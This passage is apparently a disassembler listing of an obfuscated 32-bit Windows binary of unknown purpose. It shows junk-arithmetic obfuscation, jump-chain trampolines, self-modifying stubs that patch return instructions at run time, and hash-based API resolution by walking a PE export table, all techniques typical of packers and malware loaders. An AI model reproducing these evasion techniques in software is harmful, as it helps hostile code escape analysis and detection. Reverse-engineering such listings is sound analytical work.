sub_754A2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_754A30:				; CODE XREF: sub_7453AD+3j
					; sub_74985C:loc_753E8Ej
		pop	ecx
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_74985C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD26


loc_754A38:				; CODE XREF: sub_74BD26+Aj
		jmp	sub_74C7A2
; END OF FUNCTION CHUNK	FOR sub_74BD26

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_754A3D	proc near		; CODE XREF: sub_7474B9-501j
					; sub_7474B9+Dp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074699F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074B639 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_74B639
sub_754A3D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_754A46:				; CODE XREF: _0z4jwtox:loc_7529D7j
		rol	esi, 2
		push	offset loc_747708
		jmp	locret_75230D
; ---------------------------------------------------------------------------
		adc	ebp, 0C23B599Dh
		sub	eax, ebx
		jmp	sub_74A0BD

; =============== S U B	R O U T	I N E =======================================



sub_754A60	proc near		; CODE XREF: sub_755F71j
					; DATA XREF: sub_755F42+Co

; FUNCTION CHUNK AT 00750BB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007542BF SIZE 00000014 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_754A3D
		mov	eax, 205AA81Dh
		call	sub_746E93
		jmp	loc_7542BF
sub_754A60	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DBEB


loc_754A78:				; CODE XREF: sub_74DBEB:loc_7545FEj
		pop	ecx
		add	ecx, 1EB78EB4h
		xor	ecx, 0F255DF3h
; END OF FUNCTION CHUNK	FOR sub_74DBEB
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_754A85:				; CODE XREF: sub_74CBCF+15E2j
		sub	ecx, 9C36EEA2h
		and	ecx, 7B73720Eh
		add	ecx, 0D774ED2Dh
		xchg	ecx, [esp+0]


loc_754A9A:				; CODE XREF: _0z4jwtox:loc_745FDFj
		jmp	loc_74ED3A
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 78F8E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_754AA6:				; CODE XREF: sub_74A7D8+B794j
		jnz	loc_74FF43
		mov	ecx, 9827A10Fh
		jmp	loc_74874E
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_754AB6:				; CODE XREF: _0z4jwtox:007492C6j
		test	ecx, 80000h
		jmp	loc_7490EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_754AC1:				; CODE XREF: sub_7473D1+AD96j
		cmp	ebx, 0B95AB76Ah
		jmp	loc_757454
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_754ACC:				; CODE XREF: sub_74698F:loc_74DE0Fj
		cmp	edx, 198F41EEh
		jmp	loc_746249
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
		mov	[eax], ebx
		jmp	sub_74A051
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_754ADF:				; CODE XREF: sub_747C22+D572j
		jmp	loc_74DF79
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_754AE4:				; CODE XREF: _0z4jwtox:0074B665j
		jmp	loc_746F20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_754AE9:				; CODE XREF: sub_74E762+5AA3j
		jz	loc_7452FF
		jmp	loc_747912
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------


loc_754AF4:				; DATA XREF: sub_74962Eo
		push	ecx
		push	0AF3E80EAh
		pop	ecx
		xor	ecx, 616C666Fh
		rol	ecx, 0Bh
		or	ecx, 0DB220D3h
		add	ecx, 60BEBC3Ah
		jmp	loc_74F25E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_754B16:				; CODE XREF: sub_748C0D+9417j
		jmp	loc_74D592
; END OF FUNCTION CHUNK	FOR sub_748C0D

; =============== S U B	R O U T	I N E =======================================



sub_754B1B	proc near		; CODE XREF: _0z4jwtox:00745CC2j
					; _0z4jwtox:00749767p

; FUNCTION CHUNK AT 00748DAD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A46C SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 7AF7DC7h
		call	sub_746E93
		jmp	loc_748DAD
sub_754B1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	edx, [ecx]
		jmp	loc_7493D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_754B36:				; CODE XREF: sub_748C3B:loc_754049j
					; _0z4jwtox:0075405Fj
		add	edx, 0BB8E3FAh
		rol	edx, 1Ch
		add	edx, 5DF73CB7h
		call	sub_7572C4


loc_754B4A:				; CODE XREF: sub_756639+Dj
		jmp	sub_753D0E
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_754B4F:				; CODE XREF: sub_74698F+4351j
		jmp	loc_7538BD
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_754B54:				; CODE XREF: sub_74CF35:loc_747F5Dj
					; _0z4jwtox:0074AA9Bj
		mov	ebx, [ebx+ecx]
		call	sub_75422B
; END OF FUNCTION CHUNK	FOR sub_74CF35
; START	OF FUNCTION CHUNK FOR sub_754729


loc_754B5C:				; CODE XREF: sub_754729-ECD6j
					; sub_74CF35-5C03j ...
		js	loc_74B8BB


loc_754B62:				; CODE XREF: _0z4jwtox:0074D4BAj
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_75237C
		jmp	loc_754BB9
; END OF FUNCTION CHUNK	FOR sub_754729
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_754B77:				; CODE XREF: sub_75364C-CC6Cj
		jmp	loc_74FE66
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A372


loc_754B7C:				; CODE XREF: sub_74A372:loc_74A37Ej
		jz	loc_754B8C
		inc	dword ptr [ebp-8]


loc_754B85:				; CODE XREF: sub_7500C5:loc_7500DAj
					; sub_74A372+69F8j
		mov	eax, [ebp-8]


loc_754B88:				; CODE XREF: sub_74AE67:loc_74D3D3j
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_754B8C:				; CODE XREF: sub_74A372:loc_754B7Cj
		mov	eax, [ebp+8]
		jmp	loc_747472
; END OF FUNCTION CHUNK	FOR sub_74A372
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_754B94:				; CODE XREF: sub_74BF3A:loc_748A3Aj
					; sub_74BF3A+4101j
		xor	eax, 0D5F98004h
		add	eax, 71443726h
		sub	eax, 0D732FD66h
		xor	eax, 86EDEC75h
		add	eax, ebp
		add	eax, 899CDBBEh
		call	sub_752520


loc_754BB9:				; CODE XREF: sub_754729+448j
		jmp	loc_755A36
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------


loc_754BBE:				; CODE XREF: _0z4jwtox:0074A13Dj
		lea	eax, nullsub_191
		mov	byte ptr [eax],	0C3h
		jmp	loc_74F65B
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_753E53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_754BD6:				; CODE XREF: sub_7474B9+848Dj
		popf


loc_754BD7:				; CODE XREF: sub_7474B9:loc_7493A8j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F6F8
		jmp	loc_754643
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75427C


loc_754BE8:				; CODE XREF: sub_75427C+12j
		sub	ebx, 0A6293607h
		or	ebx, 0D159C7DCh
		js	loc_74F5EE


loc_754BFA:				; CODE XREF: _0z4jwtox:007514A7j
		jmp	loc_755199
; END OF FUNCTION CHUNK	FOR sub_75427C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_754BFF:				; CODE XREF: sub_74CBCF-1753j
		jmp	loc_74F970
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_74F5E1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_754C0B:				; CODE XREF: _0z4jwtox:007543B5j
		jmp	loc_7533C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750560


loc_754C10:				; CODE XREF: sub_750560+Dj
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_750560
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B89


loc_754C15:				; CODE XREF: sub_748B89+9j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_748B89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F33


loc_754C1A:				; CODE XREF: sub_746F33:loc_75635Cj
		call	nullsub_9
		call	nullsub_8
		push	ebx
		push	0EE9B5454h
		pop	ebx
		or	ebx, 98AB2303h
		add	ebx, 1B9C526h
		xchg	ebx, [esp+0]
		jmp	loc_746113
; END OF FUNCTION CHUNK	FOR sub_746F33

; =============== S U B	R O U T	I N E =======================================



sub_754C3F	proc near		; CODE XREF: sub_7468F2+3AFEp
					; _0z4jwtox:0075059Cj

; FUNCTION CHUNK AT 0074C2B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00751326 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	al, [ebp-0Ah]
		shr	eax, 4
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		jmp	loc_74C2B6
sub_754C3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_754C54:				; CODE XREF: _0z4jwtox:0074BF88j
		pop	ebp
		push	edi
		push	0E6469360h
		pop	edi


loc_754C5C:				; CODE XREF: _0z4jwtox:007479A6j
		jmp	loc_752F59
; ---------------------------------------------------------------------------
		cmp	edx, ebx
		jmp	loc_750E16

; =============== S U B	R O U T	I N E =======================================



sub_754C68	proc near		; CODE XREF: _0z4jwtox:loc_74B6D2j
					; sub_754C68-9401j ...

; FUNCTION CHUNK AT 00748EA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A471 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B84E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0074CDDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E5BE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00752086 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00753429 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		mov	edx, esi


loc_754C6D:				; CODE XREF: sub_747AEC:loc_74F600j
		pop	esi
		jno	loc_74B86C
		mov	eax, [esp+0]


loc_754C77:				; CODE XREF: sub_74A96E-3112j
		push	edx
		call	sub_74A3AB
		jmp	loc_74A471
sub_754C68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E84B


loc_754C82:				; CODE XREF: sub_74E84B-3FFj
		xor	edx, ebx
		push	1B54BEE6h
		cdq


loc_754C8A:				; CODE XREF: sub_74E84B:loc_745FBEj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_746C22
		jmp	loc_74840E
; END OF FUNCTION CHUNK	FOR sub_74E84B
; ---------------------------------------------------------------------------


loc_754C9B:				; CODE XREF: _0z4jwtox:00753577j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7539C0
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_754CA5:				; CODE XREF: sub_747C22:loc_749A34j
		jmp	loc_752D9F
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7559F0


loc_754CAA:				; CODE XREF: sub_7559F0+Bj
		push	offset sub_7529AB
		jmp	loc_7543DE
; END OF FUNCTION CHUNK	FOR sub_7559F0
; ---------------------------------------------------------------------------


loc_754CB4:				; CODE XREF: _0z4jwtox:loc_75667Cj
		push	edx
		push	offset sub_74D1BD
		jmp	locret_74C136

; =============== S U B	R O U T	I N E =======================================



sub_754CBF	proc near		; CODE XREF: sub_74D23E-54B0p
					; _0z4jwtox:0074A358j

; FUNCTION CHUNK AT 0074ACE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AEA7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074D134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075000B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00756D9C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00757687 SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		popf
		push	edi
		pushf
		push	1CE49E9Bh
		pop	edi
		jmp	loc_74AEA7
sub_754CBF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jbe	loc_748A25
		sub	edx, 0CDAE1C26h
		jmp	sub_749088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_754CE4:				; CODE XREF: sub_747B31-2947j
		js	loc_74D957
		sbb	ecx, 43DF6019h


loc_754CF0:				; CODE XREF: sub_747B31:loc_74F4E7j
					; _0z4jwtox:007534E9j
		call	sub_754FC6
		mov	edx, 0BB931B55h
		call	sub_74B525
		jmp	loc_755C23
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_754D04:				; CODE XREF: sub_748B44+425Dj
		cmp	al, 0A4h
		jz	loc_748AE2
		jmp	loc_7537C2
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_754D11:				; CODE XREF: sub_74F615:loc_748C4Bj
					; sub_74F615-4268j
		mov	eax, [ebp-14h]
		mov	eax, [eax+64h]
		call	sub_7473D1

locret_754D1C:				; CODE XREF: _0z4jwtox:00753597j
		retn
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_754D1D:				; CODE XREF: sub_74BFE0:loc_756587j
		ror	eax, 15h
		sbb	eax, 94A958E0h
		sbb	esi, 0DAEEFC8Ah
		jmp	loc_74D06D
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------


loc_754D31:				; DATA XREF: sub_74FB89+3734o
		mov	[ebp-20h], eax
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_754D34:				; CODE XREF: sub_7501AF:loc_74B3B8j
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_748250
; END OF FUNCTION CHUNK	FOR sub_7501AF
; START	OF FUNCTION CHUNK FOR sub_74A094


loc_754D40:				; CODE XREF: sub_74A094+Aj
		jns	loc_752D0B
		lea	eax, [ebp-125h]


loc_754D4C:				; CODE XREF: sub_7473E6:loc_748AE2j
		push	eax
		call	sub_74C2C9
		jmp	loc_74E4CB
; END OF FUNCTION CHUNK	FOR sub_74A094
; ---------------------------------------------------------------------------


loc_754D57:				; CODE XREF: _0z4jwtox:0074A1A5j
		push	638FF21Ah
		pop	esi
		or	esi, 0E2BA5BADh
		add	esi, 0A497DB73h
		rol	esi, 4
		jmp	loc_74CE64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_754D71:				; CODE XREF: sub_74C670:loc_74B7EFj
		and	eax, 83CB7101h
		sub	eax, 175911F2h
		add	eax, 89E642B1h
		call	sub_746E93
		mov	ds:off_41F1A4, eax
		jmp	loc_75753E
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756158


loc_754D93:				; CODE XREF: sub_756158+8F3j
		push	30927AF3h
		pop	eax
		xor	eax, 0C3C39250h
		add	eax, 0D22CC4Ah
		xchg	eax, [esp+0]
		jmp	sub_748C0D
; END OF FUNCTION CHUNK	FOR sub_756158
; ---------------------------------------------------------------------------


loc_754DAD:				; CODE XREF: _0z4jwtox:00748143j
		or	ebx, 0CDDA9541h
		mov	[ecx], edi
		xchg	esi, [ecx]


loc_754DB7:				; CODE XREF: _0z4jwtox:00748136j
		add	edi, 0FA9D8053h
		xchg	edi, [esp]
		jmp	loc_754F52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748574


loc_754DC5:				; CODE XREF: sub_748574:loc_74937Aj
		jz	loc_747CBB
; END OF FUNCTION CHUNK	FOR sub_748574
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_754DCB:				; CODE XREF: sub_75712E-7860j
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475DD


loc_754DD0:				; CODE XREF: sub_7475DD+1D18j
		jmp	loc_7493B3
; END OF FUNCTION CHUNK	FOR sub_7475DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_754DD5:				; CODE XREF: sub_748723+Dj
		jmp	loc_749176
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7451EF


loc_754DDA:				; CODE XREF: sub_7451EF+5j
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_7451EF
; ---------------------------------------------------------------------------


loc_754DDF:				; CODE XREF: _0z4jwtox:loc_74917Ej
		sbb	ebp, ebx
		mov	[eax], edi
		jl	loc_749E5B
		jmp	loc_747CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_754DEE:				; CODE XREF: sub_74B079-455j
		lea	eax, loc_754618
		mov	byte ptr [eax],	0C3h
		jmp	loc_754618
; ---------------------------------------------------------------------------


loc_754DFC:				; CODE XREF: sub_74B079+95A0j
		mov	eax, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_74B079

; =============== S U B	R O U T	I N E =======================================



sub_754DFF	proc near		; CODE XREF: sub_747AEC:loc_74F821j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007456F9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00746929 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00749E8E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074DC1C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074EB28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007511A8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00751F9E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00752EDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754936 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754E0A SIZE 00000028 BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		jmp	loc_7456F9
sub_754DFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_754E0A:				; CODE XREF: sub_754DFF:loc_749E9Ej
		mov	edi, edx
		xchg	edi, [esp+0Ch+var_C]
		call	sub_748C0D
		mov	eax, 19A5E09Eh
		call	sub_746E93
		mov	ds:dword_41F1A0, eax
		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		jmp	loc_752EDE
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_754E32:				; CODE XREF: sub_747AEC:loc_757488j
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_754E36	proc near		; CODE XREF: sub_747736:loc_7477B1j
					; sub_7523A2:loc_7496E7p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745F27 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074A284 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B9C0 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+4+var_4]


loc_754E3C:				; CODE XREF: _0z4jwtox:00754090j
		jmp	loc_74A284
sub_754E36	endp


; =============== S U B	R O U T	I N E =======================================



sub_754E41	proc near		; DATA XREF: _0z4jwtox:0074CCA0o
		mov	[ecx], eax
		pop	ecx


loc_754E44:				; CODE XREF: _0z4jwtox:0075434Fj
		lea	eax, loc_748EB3
		mov	byte ptr [eax],	0C3h
		jmp	loc_74BDE4
sub_754E41	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_754E52:				; CODE XREF: _0z4jwtox:0074C53Dj
		mov	eax, [esp]
		push	edx
		call	sub_746C25
		jmp	loc_755855
; ---------------------------------------------------------------------------


loc_754E60:				; CODE XREF: _0z4jwtox:loc_7492A1j
		or	eax, 7A8D7D68h
		add	eax, 81753DAAh
		xchg	eax, [esp]
		jmp	loc_7486A2
; ---------------------------------------------------------------------------


loc_754E74:				; CODE XREF: _0z4jwtox:007486A7j
		pop	eax
		call	sub_74B020
; START	OF FUNCTION CHUNK FOR sub_74E531


loc_754E7A:				; CODE XREF: sub_74E531+9DCj
		jmp	loc_75413C
; END OF FUNCTION CHUNK	FOR sub_74E531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_754E7F:				; CODE XREF: sub_748D38:loc_745452j
					; _0z4jwtox:00749F33j ...
		push	esi
		push	899695ABh
		pop	esi
		or	esi, 6CB89185h
		cmp	esi, 52FBC114h
		jmp	loc_755AAF
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------


loc_754E97:				; CODE XREF: _0z4jwtox:loc_7452EEj
		xor	ebx, 0F36CAFC9h
		and	ebx, 0EF6621A9h
		xor	ebx, 454C4C58h
		add	ebx, ebp
		jmp	loc_75022F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535B3


loc_754EB0:				; CODE XREF: sub_7535B3:loc_74E3EDj
		mov	[ebp-0Ch], eax
; END OF FUNCTION CHUNK	FOR sub_7535B3
; START	OF FUNCTION CHUNK FOR sub_74E7AE


loc_754EB3:				; CODE XREF: sub_7474F5+3DCFj
					; sub_74E7AE+12j ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74E7AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7450FC


loc_754EBA:				; CODE XREF: sub_7450FC+4j
					; _0z4jwtox:00753E16j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-1Ch]
		jnz	loc_749FC6
		jmp	loc_754EB3
; END OF FUNCTION CHUNK	FOR sub_7450FC
; ---------------------------------------------------------------------------
		shr	ecx, 1Eh
		jmp	loc_7462BD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_754ED4:				; CODE XREF: _0z4jwtox:00750DFAj
		jmp	loc_746AD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_754ED9:				; CODE XREF: sub_749254+5F6Bj
		sub	esi, 6A29E152h
		rol	esi, 8
		add	esi, 0AB4D47E7h
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_74F4DD
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_754EF0:				; CODE XREF: sub_756826-E865j
		jz	loc_7540A9
		jmp	loc_74EE12
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_754EFB:				; CODE XREF: sub_74D782:loc_746F26j
		cdq
		jmp	loc_7509D3
; END OF FUNCTION CHUNK	FOR sub_74D782
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_754F02:				; CODE XREF: sub_745C55+8822j
		jmp	loc_74C8EF
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_754F07:				; CODE XREF: sub_74CD80:loc_752FFEj
		jnz	loc_749034


loc_754F0D:				; CODE XREF: _0z4jwtox:0075281Aj
		jmp	loc_7452E1
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------


loc_754F12:				; CODE XREF: _0z4jwtox:00749D70j
		jmp	loc_74B169
; ---------------------------------------------------------------------------
		and	edi, 4E5C1928h
		test	ebx, 0B029C549h
		jmp	loc_746813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DC58


loc_754F28:				; CODE XREF: sub_74DC58:loc_75755Bj
		add	edi, 0AD0BA668h
		add	edi, ebp
		add	edi, 64F4B9A1h
		mov	[edi], eax
		pop	edi
		popf
; END OF FUNCTION CHUNK	FOR sub_74DC58
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_754F3A:				; CODE XREF: sub_748DCB+7FFDj
		push	342C261h
		jmp	loc_747BF1
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_7534DB
		jmp	loc_7485B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_754F52:				; CODE XREF: _0z4jwtox:00754DC0j
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7531B7


loc_754F57:				; CODE XREF: sub_7531B7-8435j
		jmp	sub_74BD26
; END OF FUNCTION CHUNK	FOR sub_7531B7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75375E


loc_754F5D:				; CODE XREF: sub_75375E+6j
		jmp	loc_74C900
; END OF FUNCTION CHUNK	FOR sub_75375E
; ---------------------------------------------------------------------------


loc_754F62:				; CODE XREF: _0z4jwtox:00747E56j
		jmp	loc_750E42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_754F67:				; CODE XREF: sub_7571A1:loc_74FC74j
		rol	esi, 6
		xor	edx, 991520FFh
		rol	ecx, 0Fh
		jmp	loc_74A833
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------


loc_754F78:				; CODE XREF: _0z4jwtox:loc_752DA4j
		and	eax, 0CB294D61h


loc_754F7E:				; CODE XREF: _0z4jwtox:00756B0Bj
		test	eax, 8000h
		jmp	loc_75555C
; ---------------------------------------------------------------------------


loc_754F89:				; DATA XREF: sub_74E0EB:loc_74664Ao
		xchg	edi, [esp]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_754F92:				; CODE XREF: sub_74724C:loc_755EB3j
		push	669C83D4h
		pop	eax
		jmp	loc_7540B8
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_754F9D:				; CODE XREF: sub_74E685+9j
		cmp	al, 0A4h
		jz	loc_74A39E
		jmp	loc_74B57A
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_754FAA:				; CODE XREF: sub_7541BA:loc_74D843j
		jl	loc_74E931
		or	ebx, 0FE4995D1h
		jmp	loc_74A35D
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C5B


loc_754FBB:				; CODE XREF: sub_745C5B+1Bj
		push	edi
		push	offset loc_7553B5
		jmp	nullsub_263
; END OF FUNCTION CHUNK	FOR sub_745C5B

